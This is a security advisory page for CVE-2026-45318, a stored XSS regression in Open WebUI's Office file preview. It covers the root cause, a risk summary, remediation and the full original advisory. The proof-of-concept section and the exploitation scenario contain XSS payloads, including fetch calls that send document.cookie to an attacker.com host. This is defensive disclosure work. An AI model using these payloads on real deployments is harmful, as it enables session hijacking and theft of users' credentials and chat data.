CVE-2026-45318: open-webui: Stored XSS via Office file preview bypass

GHSA-hcwp-82g6-8wxc MEDIUM CISA: TRACK*
Published May 14, 2026
CISO Take

Open WebUI's file preview feature renders user-uploaded Office documents (Excel, DOCX, PPT) as HTML using Svelte's {@html} directive without DOMPurify sanitization in three separate code paths, enabling stored cross-site scripting. This is a regression: the same root cause was patched in v0.8.0 but silently reintroduced by v0.8.12, a systemic defense propagation failure given that DOMPurify is correctly applied in 9 of 23 other {@html} locations in the same codebase. In shared Open WebUI deployments — the dominant use pattern for team LLM front-ends — a single malicious upload by any authenticated user exposes all subsequent viewers to session hijacking, API key theft, and full chat history exfiltration; no EPSS or KEV data is available yet, but the PoC is trivially constructable with openpyxl in minutes. Upgrade to v0.9.3 immediately; if patching is delayed, disable file upload or restrict it to trusted users only via admin settings.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

CVSS 5.4 Medium, but operationally elevated for multi-user Open WebUI instances: stored XSS means one upload poisons the environment for all viewers indefinitely until patched. No public exploit or Nuclei template exists yet, but the PoC is trivial — any attacker can craft a malicious XLSX in minutes using standard Python libraries. The regression pattern (patched in v0.8.0, reintroduced by v0.8.12) and 91 total CVEs in this package signal chronic code quality issues. Privileged-required exploitation (PR:L) keeps CVSS moderate, but in organizations with open-registration Open WebUI instances, attacker barrier is effectively zero.

How does the attack unfold?

Initial Access
Attacker uploads a crafted XLSX or DOCX file containing an HTML/JavaScript XSS payload via Open WebUI's standard file upload interface using any authenticated (including low-privilege) account.
AML.T0049
Persistence
The malicious file is stored server-side; the stored XSS condition persists indefinitely and affects every user who subsequently previews the file, including administrators.
AML.T0011.000
Execution
A victim user opens the file preview panel, triggering Svelte's unsanitized {@html} rendering of the Office-converted HTML, executing the injected JavaScript in the victim's browser context.
AML.T0011
Impact
The XSS payload exfiltrates session cookies and LLM API keys to an attacker-controlled endpoint, enabling full account takeover, chat history access, and compromise of connected upstream AI provider credentials.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.2 0.9.3
143.3K Pushed 8d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
5.4 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 11% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Changed
C Low
I Low
A None

What should I do?

4 steps
  1. Patch immediately: upgrade to open-webui v0.9.3, which wraps all three unsanitized file-preview paths with DOMPurify.sanitize().

  2. If patching is not immediately feasible, disable file upload functionality via Open WebUI admin settings or restrict uploads to explicitly trusted user roles.

  3. Detection: monitor web server and proxy logs for anomalous cross-origin fetch/XHR requests originating from Open WebUI sessions; scan uploaded Office files for HTML injection patterns in cell values or document body.

  4. Longer-term: audit all remaining 14 unsanitized {@html} usages in the codebase; enforce a defense-by-default DOMPurify wrapper component via mandatory code review gates to prevent future regressions.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6 - Information security in AI system design
NIST AI RMF
MEASURE 2.5 - AI risk measurement and testing
OWASP LLM Top 10
LLM05 - Improper Output Handling

Frequently Asked Questions

What is CVE-2026-45318?

Open WebUI's file preview feature renders user-uploaded Office documents (Excel, DOCX, PPT) as HTML using Svelte's {@html} directive without DOMPurify sanitization in three separate code paths, enabling stored cross-site scripting. This is a regression: the same root cause was patched in v0.8.0 but silently reintroduced by v0.8.12, a systemic defense propagation failure given that DOMPurify is correctly applied in 9 of 23 other {@html} locations in the same codebase. In shared Open WebUI deployments — the dominant use pattern for team LLM front-ends — a single malicious upload by any authenticated user exposes all subsequent viewers to session hijacking, API key theft, and full chat history exfiltration; no EPSS or KEV data is available yet, but the PoC is trivially constructable with openpyxl in minutes. Upgrade to v0.9.3 immediately; if patching is delayed, disable file upload or restrict it to trusted users only via admin settings.

Is CVE-2026-45318 actively exploited?

No confirmed active exploitation of CVE-2026-45318 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-45318?

1. Patch immediately: upgrade to open-webui v0.9.3, which wraps all three unsanitized file-preview paths with DOMPurify.sanitize(). 2. If patching is not immediately feasible, disable file upload functionality via Open WebUI admin settings or restrict uploads to explicitly trusted user roles. 3. Detection: monitor web server and proxy logs for anomalous cross-origin fetch/XHR requests originating from Open WebUI sessions; scan uploaded Office files for HTML injection patterns in cell values or document body. 4. Longer-term: audit all remaining 14 unsanitized {@html} usages in the codebase; enforce a defense-by-default DOMPurify wrapper component via mandatory code review gates to prevent future regressions.

What systems are affected by CVE-2026-45318?

This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, Multi-user AI workspaces, Enterprise LLM front-ends, AI-assisted document analysis pipelines.

What is the CVSS score for CVE-2026-45318?

CVE-2026-45318 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.21%.

What is the AI security impact?

Affected AI Architectures

LLM chat interfacesMulti-user AI workspacesEnterprise LLM front-endsAI-assisted document analysis pipelines

MITRE ATLAS Techniques

AML.T0011 User Execution
AML.T0011.000 Unsafe AI Artifacts
AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.6
NIST AI RMF: MEASURE 2.5
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

## Related advisory This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) (patched in v0.8.0). The same root cause — `XLSX.utils.sheet_to_html()` output rendered via `{@html excelHtml}` without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related `fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` (lines 458 and 1285) which was not part of the jwf8 advisory's scope. ## Summary Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document. This is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces. ## Root Cause **The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`. **But 3 file-preview paths skip it**: ### Occurrence 1: FilePreview.svelte — Office HTML **File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324 ```svelte {:else if fileOfficeHtml !== null} <div class="office-preview overflow-auto flex-1 min-h-0"> {@html fileOfficeHtml} <!-- NO DOMPurify! --> </div> ``` `fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization. ### Occurrence 2: FileItemModal.svelte — Excel HTML **File**: `src/lib/components/common/FileItemModal.svelte` line 560 ```svelte {@html excelHtml} <!-- NO DOMPurify! --> ``` `excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied. ### Occurrence 3: FileItemModal.svelte — DOCX HTML **File**: `src/lib/components/common/FileItemModal.svelte` line 590 ```svelte {@html docxHtml} <!-- NO DOMPurify! --> ``` `docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied. ## Contrast with Sanitized Paths For comparison, the same codebase correctly sanitizes in other locations: ```svelte <!-- MarkdownInlineTokens.svelte:130 — SAFE --> {@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })} <!-- General.svelte:276 — SAFE --> {@html DOMPurify.sanitize($config?.license_metadata?.html)} <!-- Banner.svelte:103 — SAFE --> {@html DOMPurify.sanitize(marked.parse(...))} ``` ## Defense Propagation Gap | Metric | Value | |--------|-------| | Total `{@html}` usages | 23 | | With DOMPurify | 9 (39%) | | **Without DOMPurify** | **14 (61%)** | | Confirmed exploitable (file preview) | **3** | The remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application. ## Tested Version - Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`) ## Steps to Reproduce ### PoC 1: Malicious Excel File 1. Create a `.xlsx` file with a cell containing: ``` <img src=x onerror="alert(document.cookie)"> ``` (Using a library like openpyxl to inject raw HTML into cell values) 2. Upload the file to Open WebUI via the chat file upload 3. When any user previews the file → `excelHtml` renders the injected HTML → **XSS fires** ### PoC 2: Malicious DOCX File 1. Create a `.docx` file with embedded HTML: ```xml <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r> ``` 2. Upload to Open WebUI 3. File preview renders `docxHtml` → **XSS fires** ### PoC 3: Verify Rendering Path ```javascript // In browser devtools on Open WebUI, after uploading a file: // The file preview component renders: // FileItemModal → {@html excelHtml} // no DOMPurify // FileItemModal → {@html docxHtml} // no DOMPurify // FilePreview → {@html fileOfficeHtml} // no DOMPurify // Compare with safe path: // NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized! ``` ## Impact - **Stored XSS** — malicious file is stored server-side, XSS fires for every user who previews it - **Session hijacking** via `document.cookie` theft - **Account takeover** — attacker can perform actions as the victim user - **Data exfiltration** — read chat history, API keys, uploaded documents - **Multi-user environments** — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers) - **Defense propagation failure** — DOMPurify is available and used elsewhere, but not applied to file preview paths ## Suggested Remediation Apply DOMPurify to all three file preview paths: ```svelte <!-- FilePreview.svelte:324 — FIX --> {@html DOMPurify.sanitize(fileOfficeHtml)} <!-- FileItemModal.svelte:560 — FIX --> {@html DOMPurify.sanitize(excelHtml)} <!-- FileItemModal.svelte:590 — FIX --> {@html DOMPurify.sanitize(docxHtml)} ``` Alternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag. ## References - CWE-79: Improper Neutralization of Input During Web Page Generation (XSS) - OWASP XSS Prevention Cheat Sheet - GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)

Exploitation Scenario

An attacker with a basic Open WebUI account crafts an XLSX file using openpyxl, injecting '<img src=x onerror="fetch(\"https://attacker.com/steal?\"+document.cookie)">' as a raw cell value. They upload it to a shared Open WebUI instance used by a security or engineering team as their LLM interface. When any team member — including administrators — opens the file preview panel, Svelte renders the Office-converted HTML via unsanitized {@html excelHtml}, firing the payload in the victim's browser. The attacker receives the victim's session cookie and any LLM API keys accessible from the JavaScript context, gains full account access, reads all stored chat histories (potentially containing sensitive business data or model outputs), and pivots to connected upstream LLM provider accounts using harvested API keys.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Timeline

Published
May 14, 2026
Last Modified
May 14, 2026
First Seen
May 15, 2026

Related Vulnerabilities